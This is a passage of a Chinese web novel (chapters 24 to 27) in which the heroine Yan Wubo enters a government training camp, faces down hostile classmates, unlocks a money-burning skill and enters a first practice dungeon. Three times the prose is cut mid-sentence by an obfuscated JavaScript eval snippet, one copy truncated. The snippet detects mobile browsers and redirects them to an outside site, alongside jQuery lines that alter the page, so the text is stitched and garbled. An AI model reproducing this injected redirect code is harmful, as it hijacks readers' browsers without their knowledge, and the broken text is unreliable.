顾夜白庆幸自己肤色够深，稍微脸红一点也看不出来。 他竭力平静道：“吃火锅吃热了，把外套忘了。” 许香如也不知道信了还是没信，将手伸进衣袖里，老农民一样抄着手往外走。 顾夜白也跟过去，而后突然想起什么，又折回来跟晏无波说道：“加个好友，以后……” “不加。”晏无波想也不想，直接回道。 进了训练基地，就不用把顾夜白拴在身边防潘越龄被动了。留着他在好友列表干什么，碍眼吗？ 许香如看顾夜白没跟在自己后头，转身喊他：“你快点，待会儿我要上课。” 顾夜白闷头往她那走了两步，又折返回来：“我觉得加好友很有必要……” “不加。” “……” 顾夜白郁闷的脚尖踢地，嘟嘟囔囔的，“我知道潘越龄的消息概率会比较大，以后遇到，我也能通知你啊……” 低头等了会儿，某个冷血无情的女人依旧不为所动。 “唉。”他深深叹了口气，表情复杂地走了。 两人一走，沈炙立刻从上面冲下来，激动地抓住晏无波的手臂，“你也加入破晓了？” 晏无波不想解释得太多，摇头道：“没，有别的特殊情况，只是会参加训练。” “啊，这样啊……”沈炙的语气透着浓浓的失望。 不过她很快就打起精神，“那也不错，我们得训练半年呢！跟我们一起坐吧。” 沈炙拉着晏无波的手往后走，但晏无波更想坐第一排。 察觉到晏无波的想法，沈炙摇了摇晏无波手，小声道：“训练营没明文规定，不过私底下默认的是，等级高的才能选坐前排，他们不选才轮到别人选。咱俩也就两三级，得排最后。” 晏无波随便看了几个前排同学的信息，大家都是菜鸟，高也没高到哪去，有的综合数值甚至不如晏无波。 不过入乡随俗，她也不想在第一天就引人注目，便跟着沈炙走到最后。 “文善。”沈炙向同在最后一排的女孩介绍道：“这个是之前跟你提到过的学妹，晏无波。” 女孩身材略微丰满，脸蛋白白圆圆的，像颗甜甜的雪媚娘。 她从晏无波进到教室的时候眼睛就直了，这会儿看见人走到自己面前更是激动，“你好你好，我叫莫文善，是传媒大学的，和沈炙同级。他们都管我叫胖善，你叫我……算了，你叫我什么都行。” “莫学姐，你好。”晏无波对她点了点头。 等两个人坐下，莫文善立刻贴着沈炙说悄悄话：“你也没说你这学妹这么帅啊！” “啊？我没说吗？”沈炙想了想，“脸不重要，重要的是她人很好。” 晏无波坐下后快速扫视一圈教室。 班里粗略估计二十多个人，年龄跨度不小。 那些年龄稍长，安静坐着、浑身透着一股“班味儿”的，显然是从其他单位抽调来破晓的。 另一部分略显活泼的年轻人，则是跟沈炙一样，是从学校等地方招募来的新鲜血液。 许香如和顾夜白在门外低声交谈了片刻，很快，她独自一人回到教室。 这时她看向晏无波的表情，不再是面对新学生时的放松，而是带着几分探究。 顾夜白没全透露，但是寥寥数语显露出来的信息量，足够让她吃惊。 许香如站到白板前，不用她开口，学员们也知道该闭嘴了。 嘈杂平息后，她清清嗓子，朗声道：“大家都看见，今日我们又迎来了一位新同学——晏无波。从现在开始，她将作为旁听生，和我们一起进行为期半年的训练。” “旁听生”三个字一出，教室里顿时响起一片细碎的议论声。 进这里的不都是破晓的人吗？旁听是什么意思。 许香如像是没听见，继续说道：“晏无波同学的初始天赋是E级冷静，目前等级3，有想要和她组队的同学可以抓紧时间联系。等下周实战课组队时间截止以后，名单就不能改了，你们得跟选定的同学一起进副本。” “啊？E级？”前排的某处发出巨大的质疑声。“老师，进训练营的哪个不是B级以上天赋，E级怎么进来的？” 紧接着，一句又一句的质疑朝许香如袭来。 “说好听的是旁听生，不好听的是关系户吧。” “用国家资源补贴走后门的，我不认可。老师要是不能给大家一个满意的答复，我要上报纪检委。” “真好啊，不用进破晓卖命，还有训练机会，我怎么没有这种好爹妈。” 沈炙气得脸都红了，她不觉得晏无波进来这里有什么不对。在她的意识里，不提别的，单指她带同学们出副本，救了那么多人，破晓给一个训练名额不是很正常吗？ 她要起身，却被晏无波按住大腿。 莫文善担心地看着这两人，但风暴中心的晏无波没有丝毫慌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16483702|184566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张。 许香如披在身后的长发像活了一样缠成巴掌状，“啪”地一声拍在后面的白板。 “安静！” 发丝巴掌力道很大，拍得白板嗡嗡作响。 她像是不忍直视般地闭眼，骂道：“我教了你们十天，怎么没发现教了一群猪……要是有猫腻，我能直接说出来？我有一万个方法塞关系户还叫你们发现不了。” 学员们被骂紫了一张脸，但仍对晏无波表示质疑。 晏无波举手，礼貌得像个三好学生。 许香如眯眼，想掏手机把这一幕拍下来发给顾夜白看。 相较班里的其他人，她多乖啊，这时候还不忘举手，哪有他嘴里说的那么难相处。 “起来吧。”许香如活动的发丝点点这个新学生，“你有什么话对同学说？” “倒也不是什么重要的话。”晏无波起身，吸走整个六班的目光。“只是想纠正几件事而已。” 许香如很满意，她最喜欢情绪稳定的学生了。 晏无波继续说。 “首先，我确实是关系户。” 她的话刚起了个头，许香如第六感就疯狂预警。 “其次，不是国家拿资源补我，是我拿资源补国家。你们要是有能力，也可以这么做，而不是在这里狺狺狂吠。” “最后。”晏无波看向说没有好爹妈的那个衬衫男人，“我双亲都不在，你要是想要当他们儿子，现在抓紧时间去死，说不能赶上下一胎。” 许香如脑袋都大了，她话说得真是太早了！ 教室“嗡”地一声炸开，特别是最后针对的那个衬衫男人，当即从中间排冲出来要打人。 晏无波没有战斗技能，不是没有战斗力，她反手掏出“恒河酒”准备砸过去。 这酒当时的描述可是“人类慎用，用多伤身”，可见液体就算不致命，对人也能造成伤害。 “都、住、手！” 漫天的头发铺散开来，压住了每一个蠢蠢欲动的学生，包括手持酒瓶的晏无波。 许香如额头冒出根根青筋，气得发带都撕裂了，红色的碎布缓缓飘在地上。 她皮笑肉不笑道：“精力这么旺盛，提前让你们下副本好不好？” 此话一出，被压住的衬衫男人第一个响应：“好！不过到时候可别有人借口组不上队，临阵脱逃。” “谁说组不上了？”沈炙立刻反驳，她还要继续说，却被晏无波制止。 晏无波不进入破晓，未来也不想进入其他组织。对于她这种独狼而言，优先提升的不是团队合作能力，而是独自生存的能力。 所以这次，她不打算和任何人组队。 “我不组队。” 晏无波的声音很坚定，“实战课，我要一个人进副本。” 25. 第 25 章 整个六班的学员都用看疯子的眼神看晏无波。 像他们这种初出茅庐的菜鸟，天赋再高，也不敢妄言独自就能闯过副本。 她这个天赋、这个等级，这不是纯找死么？ 沈炙狠拽了下晏无波的衣襟，用眼睛瞪她，让她收回发言。 晏无波任由自己的衣襟被揉搓，并对许香如说道：“老师，一个人也能进吧。” “其他人不行，但你可以。”许香如认可了晏无波的提议。 散人玩家和这些学员不一样，训练的方向也有偏差。要是晏无波将破晓的教学计划原封不动搬到自己身上，反而对她不利。 这件事就定了下来，学员们神态各异，不知道是嘲笑晏无波的不自量力、还是惊讶许香如真的同意了这个提议。 铺在教室上方的头发慢慢缩回，学员们也平息了情绪，默默坐回自己的座位。 只有衬衫男，被放开也待在原地不动，看着晏无波，像是在算计什么。 “既然你这么有种……”他伸出手指，直直地指着晏无波，声音微微颤抖：“那你敢不敢跟我打赌？” 这句话重新将众人的视线拉回晏无波身上。 晏无波还没恼，许香如先怒了：“陈盛斌！你不想在这待了吗？”她虽然被叫做“老师”，性质更像教官，无法忍受学员一而再、再而三挑事。 然而陈盛斌听完并不收敛，眼底反而闪过一丝欣喜。 晏无波心中升起一丝疑惑。 如果陈盛斌的矛头对准的是她，那许香如偏向她的时候，他应该生气才对，无论如何都不该“高兴”。 她站在教室后排，仔细打量了一番陈盛斌。 这人体型偏瘦，穿着素净的衬衫，长着一张老实质朴的脸。他脸色蜡黄暗沉，眼睛下方挂着浓厚的黑眼圈，像是很久都没睡过一个好觉。 陈盛斌继续挑衅晏无波：“实训课上，谁的通关评价更高，谁获胜，输的人马上从训练营滚蛋！” 学员中，不知是谁小小的“哇”了声，点燃了其他人八卦的心。大家兴奋地窃窃私语，安静的教室重新吵闹起来。 晏无波总觉得有哪里不对劲，但她目前想不通。 她先将这怪异的感觉压下，问陈盛斌道：“你拿多少钱出来？” 陈盛斌愣了下，随后怒道：“拿钱干什么！你不敢和我赌就直说，直白点告诉大家你怕了。” “怕？我是觉得你不要脸。”晏无波无语似的轻呵一声，“你算个什么东西，嘴皮子上下一碰，就想让我和破晓置换的资源白瞎？” 如果不是对方长着一脸蠢相，她都以为这是不是顾夜白又给她下套了，特意找这么个人过来骗资源。 凭什么随便哪条蛆过来提条件她都要接受？赢了还没有实质性的好处！ 涉及经济问题，晏无波生气了。 就跟当初骂林薇一样，这会儿她的嘴格外毒：“你烂命一条，浑身拆开卖也不值几个子儿，连我给拿出去的零头都比不上。” “你……！” “想和我打赌，可以。” 晏无波扭头对许香如说道：“要么，破晓把资源全退我。” 许香顺滑的头发打起了卷，这说着说着，怎么说到退资源了。 她尬笑着，“同学，都谈好了，这会儿变卦不好吧？” “有什么不好的，吃亏的是我，消息相当于白送，我又不能把你们的记忆一个个删了。” 晏无波态度强硬，继续对陈盛斌说道：“要么，你准备三亿花币，来弥补我的损失。” 她特意不提自己拿了什么，省得不小心传出去，被其他组织找上门。 陈盛斌心里打鼓，他在政府上班多年，脑子不蠢。那两人的对话就已经透露出很多消息了，他知道自己踢上了个铁板。 可乍一听三个亿，他还是下意识反驳：“你这是讹人！” 许香如有心安抚晏无波，在她开口前就替她说道：“讹什么讹，这还给你打折了。你要能拿出来就拿，拿不出来就闭嘴，组织不给你掏这个钱。” 学员们都明白晏无波是个不好惹的人，也不是他们想象中的那种“关系户”。幸灾乐祸的目光投向陈盛斌，都在等他的回答。 陈盛斌一改鲁莽，垂着头，半天憋不出来一个屁。 早就气炸了的沈炙，看他这么一副唯唯诺诺的样子，更生气了。 “怎么不冲动了？” 她忍无可忍地骂道：“最烦你这种人，惹了事就不吭声，把问题都甩给别人处理。看起来很勇，实际上只是个嘴贱的窝囊废！” 垂着头的陈盛斌浑身一颤，像是被戳中了痛点一样浑身一颤。 但他没有立刻反驳，而是攥着手停了几秒才面目狰狞的大吼道：“你骂谁窝囊废！你再骂一遍？” 沈炙被他的表情吓了一秒，但想到晏无波在这里，又大声回骂：“说你呢，窝囊废！” 晏无波盯着陈盛斌的表情，心中怪异的感觉加剧。 陈盛斌停了一下才开始回骂，像是忍无可忍。 但他攥紧的手，皮肤红润，根本没用力揉捏。 狰狞的面部，也过于……夸张。 下一秒，陈盛斌的怒吼又响起。 这次他不再冲着晏无波，而是冲着沈炙，“她不敢和我赌，那你来跟我赌！” 许香如头发飞舞，直接把陈盛斌抽到墙上。 “还没完了你！” 陈盛斌咳嗽了几声，继续盯着沈炙，抬出晏无波逼她答应：“你们不是相见恨晚的好朋友吗？这点事儿你都不肯替她出头，看起来你们的感情也没那么好！” 沈炙张口便骂：“别放没营养的屁，先把三个亿掏了再和姥姥说话！” 晏无波搓了搓手指，把这人的话从头到尾复盘了一遍。 这人刚才质疑她的是“不用进破晓卖命，还能获得训练机会”，现在又不停找人打“退训练营”的赌…… 难不成，他不想进破晓。 可是实战要下副本，他怎么保证自己低评价也能安全出副本？ 除非…… 晏无波再次举手，“老师。” 许香如如今看她举手，可再没欣赏的感觉了，而是从头麻到脚。 “说……” “即将去的副本，往届死亡率是多少？实战课你会跟我们一起下副本吗？” 这个问题让教室里的所有学员神色一凛，纷纷竖起耳朵。 许香如的头发更卷了。 她想吓唬他们说死亡率很高，但晏无波既然问出来了，或许有她不知道的事情。 “我真的很想告诉你们这次死亡率极高，好叫你们紧张起来。但实际情况……” 许香如长长地叹气，“第一次实战课的副本，是被通关了无数次的E级本。只要你们有点智商，听点话，基本不会出问题。我也会跟你们一起进去，从旁教学，必要时给予你们帮助。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“陈盛斌，原属宣传部。你原单位的领导非常欣赏你的‘勇气’和‘担当’，不但强烈建议组织提升你的职级，还把他同样在破晓的女儿介绍给了你。在你进训练营前，他也通过私下的饭局为你介绍不少领导、为你铺了不少人脉吧？” 陈盛斌面白如纸，他想不到这种私密的事也能被查出来。 “好处拿了，还不想付出，你把我这当慈善机构了？”许香如的厌恶几乎要从眼中溢出来。 其他人看陈盛斌的眼神也逐渐不善。 陈盛斌浑身发软，只有嘴是硬的：“我不走，我没想走！” 许香如却不想再听了，她再次拿出手机打过去：“训练营六班的陈盛斌，他的档案你退回原单位，原因就写……临阵脱逃！” “不行！”陈盛斌怕得走不了路，连滚带爬的滚到许香如面前。 档案退回去不要紧，可这理由一写，他的前途就完了！ 陈盛斌这会儿想起来晏无波了，转头说道：“同学，我跟你道歉，都是我太冲动了！但我真的、真的没有其他想法！只想为国家、为人民出一份力！” 晏无波听后，似笑非笑道：“这样啊，那加油，希望你在原单位继续发光发热。” “我……” 陈盛斌再来不及求饶了，许香如的发丝已经把他裹成了一个茧，扔垃圾似的把他扔出厂房。 26. 第 26 章 厂房外的求饶声不断，吵得许香如怒气愈发高涨。 她扫视着教室里的每一张脸，冷声道：“还有谁后悔，现在站出来。我可以宽大处理，不给你们记档案。” 学员们噤若寒蝉，谁都不敢吭声。 许香如脑子里闪过几个因为“心理创伤”、“寻衅滋事”等原因被劝离破晓的人，眼中的杀意几乎化为实质。 “没有是吧？好，我今天把话撂在这。以后进入破晓的人，没有退回原单位一说。就算胳膊腿儿都没了，也得给我死在副本！” 这是恐吓，也是告知。 某些脸色难看的学员，此刻更是面如死灰。 片刻的死寂后，终于有三个人颤颤巍巍地站了起来。 他们不敢看许香如的眼睛，垂首对着地面说了句“对不起”，便头也不回地跑出厂房。 许香如没想到真能诈出来，而且一下就是三个。 剩下的这群人未必没有后悔的，只是因为各种原因没有勇气站出来罢了。 她这个班级是这样的，其他班级已经培训了一段时间，见识到了副本的残酷，又会好到哪儿去？ “你们自由活动！”许香如转身要走，又想起晏无波这个刚进来的，补充道：“想做题、查资料就去机房，想练体能就去体育馆，下课！” 她得和其他老师们通个气，看看其他班有没有投机取巧的。 许香如走得风风火火，教室里接连响起学员们劫后余生般的大喘气声。 但再也没人敢大声议论，大家都有意无意地去瞄那个一来就跟整个班级“下马威”的人。 有点门路的，已经开始悄悄用手机联系熟人，打探“晏无波”究竟是什么来头。 晏无波不管其他人的看法，坐回位置，去翻沈炙摆在桌上的教材。教材上有个二维码，内页有提示怎么下载“破晓”APP。 沈炙也不太在意对别人的目光，更关心晏无波一个人进副本这件事。 她侧过身体，单臂搭在桌面，担忧地问：“你不进组织就算了，怎么连队伍也不要，以后都要单独下本吗？” 老师带她复盘过宿舍副本，让她不要因为第一次有其他人保，就去小瞧其他低等级副本。哪怕许香如说即将去的那个副本死亡率不高，她也不想去赌那万分之一。 明明有更安全的选择，为什么不选呢？ 沈炙一向以学姐身份自居，鲜少在晏无波面前表现弱势。这次为了让晏无波改主意，她刻意贴近晏无波，声音带着一丝恳求，“这次就和我们一起行动吧？等以后你等级提升了，再自己下也不迟……还是说，你看不上我的天赋？” 晏无波摆弄教材和手机的动作顿住，抬头直视沈炙，眉头深深皱起，“学姐，我知道你是为我着想，但以后这种贬低自己的话就不要说了。” 沈炙被她认真的眼神看得脸一红，不好意思地“哦”了一声。 “等级就算提升，也有更高的级别的副本在等着。”晏无波想做的事旁人很难改变，“六个月之后我就要离开训练营，再遇不到有人看护的副本。现在是最好的锻炼机会，我不想放弃。” 沈炙还是很不情愿，但是不得不承认自己被说服了。 她扑到晏无波身上，抱着她来回晃悠，哼哼唧唧道：“怎么办？我有点生你的气，但是又没有生气的理由……我求求你跟我道个歉吧，让我心里舒坦点儿~” 晏无波嘴角勾了勾，放松身体跟她一起晃：“那我有点亏，不过谁叫你是我学姐呢？对不起，让你担心了。” 沈炙舒坦了，“嘿嘿，你知道就好。不过你要是在副本里遇到什么问题，一定要找我啊。” “嗯。” 旁观的莫文善吞了口唾沫，悄悄松了口气。她刚才看那两人的氛围，还以为要吵起来，没想到这么快就和好了。 沈炙放开晏无波，转头对莫文善说道：“你还要和我组队吗？这次可能只有我们两个人了。” 她指的不是晏无波不加入，而是今天的骚乱后，恐怕同学们也会对和晏无波交好的她们敬而远之。 莫文善明白她的意思，直接把自己的手机递给沈炙看，神神秘秘道：“可能和你想的不一样……” 屏幕里是莫文善的绿微，上面正不断弹出好友申请和消息。 【胖善，你们队还缺人吗？带我一个呗，我攻击技能还挺适合你们的。】 【我这队伍刚好退了个人，你和沈炙要不要一起过来？】 【我这也俩人，咱们四个组队怎么样？】 找来的都是在职场摸爬滚打多年的人精，脸皮和机会哪个重要，他们心里拎得清。 班里是哪个人天赋品质不高？可没一个人能拿出至少价值三亿的东西。晏无波想动手的时候掏的东西他们都看见了，那肯定不是人类世界能买到的。 反正副本又不危险，先搭上看看，总没有坏处。 一个身材矮小的男人挤了过来，“哎，你们俩要不要加入我的队伍？” “什么你的队伍，一个队伍最多5人，加上她俩你那都超员了。”前排一个女生也走过来，开始介绍自己的优势。 人们逐渐向后排靠拢，将沈炙等人围了起来。 晏无波不喜欢这种场面，“学姐，你忙，我去别处看看。” “啊，好。”沈炙把教材扔给晏无波，“你先看着，等回宿舍了再给我也行。” 晏无波接过教材，走到教室另一边空着的座位坐下。 APP刚下完，现在要根据教材指示注册账号。 注册账号需要的信息非常繁杂，身份证号、破晓身份卡编号、人脸、指纹缺一不可。不过等晏无波注册完成以后看到界面，顿感没白费这么大力气。 普通学员只能查看本省的E~D级副本，而她的组长权限，则将范围扩展至全国，可查看A级及以下副本。副本信息包括已探明的规则、诡异信息、存活率、注意事项等等。 除了副本资料，目前已发现的道具、药具、天赋等杂项信息库也在这个APP里，同样根据权限解锁。 训练营相关的课程表、电子教材、训练营内部地图等等只占了“训练中心”一个模块。 晏无波又想起了许香如走之前说的“机房”和“体育馆”，一脸期待地起身。她隔着人群把教材扔回去，远远招呼道：“学姐，我出去逛逛。” 说完，她便独自离开教室，将一众想和她套近乎的同学抛在身后。 莫文善踮脚望着晏无波离去的背影，疑惑地问沈炙：“不用陪她逛逛训练营吗？” 她都搞不懂这两个人的关系到底好还是不好，这学妹也太独了。 沈炙浑不在意地说：“不用啊，我看她下完APP了，里面有地图，丢不了。” 最开始找沈炙组队的矮小男人，见晏无波说走就走，撇了撇嘴。 他眼珠一转，故作关心对沈炙说道：“沈炙，你这位朋友性格很酷啊。不过说句掏心窝子的话，她这样……唉，我不是说她不好……” 沈炙听出他话里有话，竖起眉毛问：“什么意思？” “哎，你别误会。”男人连忙摆手，极其诚恳道：“就是感觉她对大家防备心有点重，她是不是在副本里遭遇过什么？” “你说的‘大家’，只指咱们班的人？” “啊，差不多吧。她对顾组长好像也不信任，我看顾组长要加好友……” 沈炙懒得听他说完，直接翻了个白眼，嗤笑道：“脸够大的，你倒是好意思提，咱们班的人做了什么值得她信任的事情了吗？且不提刚才那么多人的质疑，单指现在你找我组队，总不能是突然发现我和文善身上的闪光点吧？” 几句话，噎得矮小男人哑口无言。 沈炙骂骂咧咧的，心里将这个人从自己的组队意向名单中彻底划掉。 另一边，晏无波跟着APP上的训练营地图，走到许香如提到的机房。 从外表看，除了食堂、宿舍、体育馆、办公楼，其余地方外表都差不多，只不过内部构造不同。 就像机房，它的内部被隔音玻璃分成了一个个格子间。每个格子空间宽敞，有独立的空气循环装置。和网吧不一样，机房的电脑桌很大，很适合带着书本在这里自习。 这里没有老师看管，学员通过闸机扫脸进入。 晏无波找了个空位坐下，输入APP上的账号密码。解锁屏幕后，发现这里的电脑无法连接外网，是一个完全独立的内部专用网络。 她好奇地点开电脑桌面标着“题库”的图标，随后，上面弹出考试系统模样的界面。上面列了信息梳理、推导分析、思维发散、博弈与思辨、综合能力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16517580|184566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五大学习模块，还有模拟和全真两个刷题板块。 晏无波随便选了个“扮演类”模拟题，加载片刻后，界面弹出个简略3D场景，场景中央站着个火柴人。 鼠标和键盘操作火柴人行动，可以自由探索场景、寻找规则。行动期间随机弹跳突发事件对话框，学员通过键盘输入答案，再由系统智能判卷，根据成绩得到的存活率随机决定火柴人死活。 晏无波大开眼界，用鼠标操纵着火柴人走去墙壁找规则。 这时，界面突然蹦出来个鬼脸，伴随着刺耳的音效，吓得她心脏一突。 3秒过后，模拟题提示她通关失败，理由是：未能在规定时间内进行正确操作。 晏无波：“……” 真行。 之前没遇到过跳脸杀，这方面经验不足，以后得好好锻炼一下。 她抚了抚心脏，离开机房去了体育馆。 体育馆是一整栋楼，基础力量训练区、敏捷训练区、抗击打训练区，再到特殊环境模拟、斗技教室，应有尽有，每个区域配备1~2名指导老师。 敏捷训练区，和晏无波同样是短发的女老师看见她，眼睛一亮，朝她招手道：“看着眼生，新来的？” 晏无波瞄到她胸前的名牌：郑竹。 “是的郑老师，我下午刚到。” 郑竹过来，上手就捏晏无波的胳膊、腰和大腿，“基础条件不错啊，别急着练，先测身体数据。班主任给你规划好发展方向了吗？你是均衡发展还是单项突出？” 晏无波越来越觉得训练营来对了，“还没规划，先测吧，之后我再找许老师商量。” 两小时后，她带着几张体检报告出了体育馆。 体育馆旁边是操场，一些学员绑着沙袋进行负重长跑。 还有几栋比较高的楼是副本模拟楼，不过学员无法单独进入，似乎是教学专用。 一路逛下来，这里大部分设施，包括教室、机房、体育馆、食堂、超市等等，都是全天候运转。 时间来到了晚上九点，顾夜白给的那瓶精力药剂效果退去，在食堂吃饭的晏无波困意如潮水般涌来。 她两三口把饭塞进嘴里，去超市买了一次性换洗衣物才回到宿舍楼。 “你就是晏同学吧？”宿管年纪不大，比晏无波大不了几岁。她一看到晏无波的眼睛就笑了，“顾组长跟我说，你特别好认，还真是。他特意嘱咐我，给你单独安排一间。” 说是这么说，这个年轻宿管走完验证身份的流程，才把人带到一间和酒店大床房布局差不多的双人寝。 “你随便选床，这屋就你一个人。床单、被褥、训练服都是新的，洗漱用品一个月一发，有额外需要自己去超市买，你这个月的份我放卫生间了。” 晏无波道谢。等宿管走后，她给沈炙发去了宿舍号，拿着换洗衣物走进浴室。 等她洗漱完毕，沈炙和莫文善找了过来。 “我从其他人那里知道第一次实战课的消息了！” 沈炙拉着莫文善坐到那张空床上，兴奋道：“其他班去的都是‘成材补习班’，不出意外的话，我们也要去那里。” 晏无波擦着湿漉漉的头发，靠在床头听她说。 “文善的天赋是义眼，能生成一只假眼共享视野。我的天赋是隐匿，隐藏身形。我们俩都没有战斗力，要组队的话是不是找个有攻击天赋的队友比较好？” “不一定。”晏无波眼皮一上一下地打架，强撑着把话说完，“我也没很多经验，不过在我看来，目前我们就算有攻击技能也打不过主场诡异，战斗力的优势更多体现在与人对抗上。要是实战课有团队对抗环节，找个有攻击性的才比较合适……” 莫文善连连点头，扭头和沈炙讨论。 等两人再想找晏无波，晏无波已经靠在床头睡过去了。 沈炙和莫文善对视一眼，轻手轻脚地把晏无波摆正，小心给她盖上被子，悄悄退出房间。 夜深人静。 神豪系统的新技能逐渐成型，再过十几秒就要发出提示音。 金元宝听着晏无波规律的呼吸声，伸出小手，默默地将提示音关掉。 现在用不到，睡醒再说也一样。 【叮！强力技能“在我行开户送大米”已生成，详情请查看技能说明。】 27. 第 27 章 早上六点，急促的起床号响彻训练营。 晏无波被惊醒，从床上翻身而起，差点被睡软的腿绊倒在地。 脑海里“嘎嘎”了两声，对她的表现发出无情嘲笑。 揉揉还有些发沉的脑袋，晏无波终于清醒了些。她一屁股坐在床上，打开神豪系统，轻轻弹了下金元宝的脑瓜崩儿。 技能栏右上角有个大大的红色“新”字，生怕别人看不到似的闪着光。 晏无波刚想查看，转头又想到自己不可信的运气，便求助金元宝：“宝儿，你帮我开。” 金元宝背对着她躺在边框上，幽幽道：“技能已经生成了，跟你现在的运气无关。没用的时候弹脑瓜崩儿，有用的时候就叫宝儿……哼。” “你已经忘了你刚才在嘎嘎什么吗？” “……数据卡顿，暂时无法接收信息，请稍后重试。” 未来科技太发达也不好，这小东西还挺会装相的。 点开技能栏，和其他技能不一样的多行说明叫晏无波精神一振。 【在我行开户送大米（Lv1)：消耗1万冥币，在周身范围10米内开启领域，领域内可对数名目标进行“存款”与“放贷”操作。】 【存款（主动）：临时存放目标10%属性点至体内，每存放1属性点/分钟，消耗10万冥币。】 【放贷（主动）：临时将自身属性点的10%发放至目标体内，每发放1属性点/分钟，消耗10万冥币。】 强力技能，果然够强力，一个技能就能兼具输出和辅助。 就是这个消耗…… 她手头剩下六百多万冥币，就算窃取1属性点，也只够用一个小时。要是将“存款”用在总属性值63点的顾夜白身上，拿他6点属性只够烧10分钟。 不愧是神豪系统，哪个技能都烧钱，除了“豪横无须多言”的每日抽奖。 几天时间一晃而过，晏无波初步适应了训练营的作息。 每日6点起床，上午文课，下午武课，晚上培养心理素质和抗压能力，课程持续到晚上8点。8点以后学员根据自身情况查缺补漏，去其他地点强化能力，凌晨入睡。 这行程紧密度像是高三，只有吃饭的时候能放松些。但跟高中不同的是，这里没人想偷懒，也不敢偷懒。 周一早上，第一节课开始前，六号厂房门口停了辆大巴车。 许香如戴着新的红色发带站在车旁边赶学生，“上去上去，别废话。” 晏无波和沈炙坐一排，莫文善和新加入同学坐前面。 沈炙打开车窗探头问：“老师，今天上实战课是不是早了点。” “早个屁！”许香如没好气道：“你这几天可没少打听实战课消息吧？” 再不抓紧上，这群人对这个副本的危机感都要没了。 沈炙缩头，再不问了，转而和晏无波叽叽喳喳：“我听1班的说，这副本会根据天赋等级排班……” 许香如的头发从车窗伸进来，拍了她脑门一下，“还说！” “不说了不说了！”沈炙捂着额头求饶。 现在不说了影响不大，晏无波早就知道副本内的情况，也知道这个副本被破晓当作刷冷却的专用副本。 经历过副本的人，每隔一个月就要再次进入副本。但总有人即便经历过副本，也没能力走第二次。 破晓作为官方，就会定期组织这部分人进入危险系数小的副本，保障他们的基础存活。 从这个角度看，这次副本确实不难。 六班的其他同学也都是一副轻松的表情，完全没有即将进入副本紧张。 人员到齐后，大巴车启动，缓缓驶出训练营。 许香如站在前头，重新核对了遍组队名单，然后说道：“这次实训课得按出副本的评价来排成绩，拿到B级以上评价的组有一天假期。” “哇！！！” “真的假的？这么大方的吗？” “谁都别跟我们组抢，我们拿定了！” “小小B级，拿捏。” 训练营一个月才给半天假，这一天假能顶两个月。 “别那么自信。”许香如的食指在身前摆了摆，“迄今为止，还没人拿到B级，我也不行。” “不是死亡率不高吗？” “是不高，但副本死亡率和个人评价又不挂钩。” 许香如继续介绍副本情况：“将这个副本作为第一个实战课，也正是出于它这个特点。在保证自身安全的情况下，你们加油找线索吧，希望这次我们能有所突破。” “好！！！” “为了假期，拼了！” “嗷呜呜呜呜呜！” 学员们回应过后，三三两两地交谈着，言语间满是对即将到来的“实战课”的期待。 或许自身不属于破晓，对破晓不是十足信任，晏无波对即将去地方莫名警惕。 诡异世界真的有“安全区”吗？ “别紧张。”沈炙冲她笑，“进去之后我们分不到一个班，但好歹是同一个副本。” 晏无波无法表达自己心中的违和感，只能让她多加小心，“你……也别太放松，打起精神。” “哈哈哈哈，好。” 大巴车进入一片老旧的城区，在一栋米黄色的四层小楼前停下。 小楼前还有一辆大巴车，岁数普遍在50岁以上的人们正排队往里进。 “呦呵~”许香如调侃道：“你们运气不错，碰上来刷冷却的了。要是你们不想拿高评价，只想活着出副本，跟着他们就行了。” 车辆停稳后，她跳下车催促：“快点，眼睛都放亮些，别刚进去就死了。” “不是，许姐，你说话也太不吉利了。”另一辆车负责带队的破晓队员走过来，语气和其他人是如出一辙的轻松。“幸亏是这个副本，要是其他地方，我心里能直突突。” 许香如瞪眼，不可思议地问：“冯彦凯，副本那么晦气你都进去过多少回了，还差一两句话啊？” 莫文善将手机屏幕上的大佛举在头顶，像是清除晦气一样挥了挥，小声道：“差的差的，吉利的东西多多益善。” 说罢，她拽着新加入的同学，在许香如的头发打到她之前钻进副本。 晏无波跟在沈炙后面下车，习惯性地先打量周围环境。 “我先进去了啊。”沈炙朝她挥了挥手，随即走入副本。 “嗯，你先去吧。” 晏无波心中的违和感散不开，绕了小楼一圈，又敲了敲一楼被海报糊死的窗户后才踏入。 “这人有点意思，冲这疑神疑鬼的劲儿，肯定能活很久。”冯彦凯点了根烟叼在嘴里，朝许香如挤眼睛，“只可惜在这副本没啥用。” 许香如平时骂自己教了群猪，但在别人面前要脸，回道：“那不一定，说不定我们还能刷个评价呢。” 晏无波面前是一个教育机构的大厅，两个大巴车、一共五十多人乌泱泱地聚在一起，活人体温将这个空间都带暖了些。 两侧墙上挂着褪色的海报，其中一个人是现实世界中的明星。 破旧的前台后，两个瘦如纸片的诡异蠕动着触须。 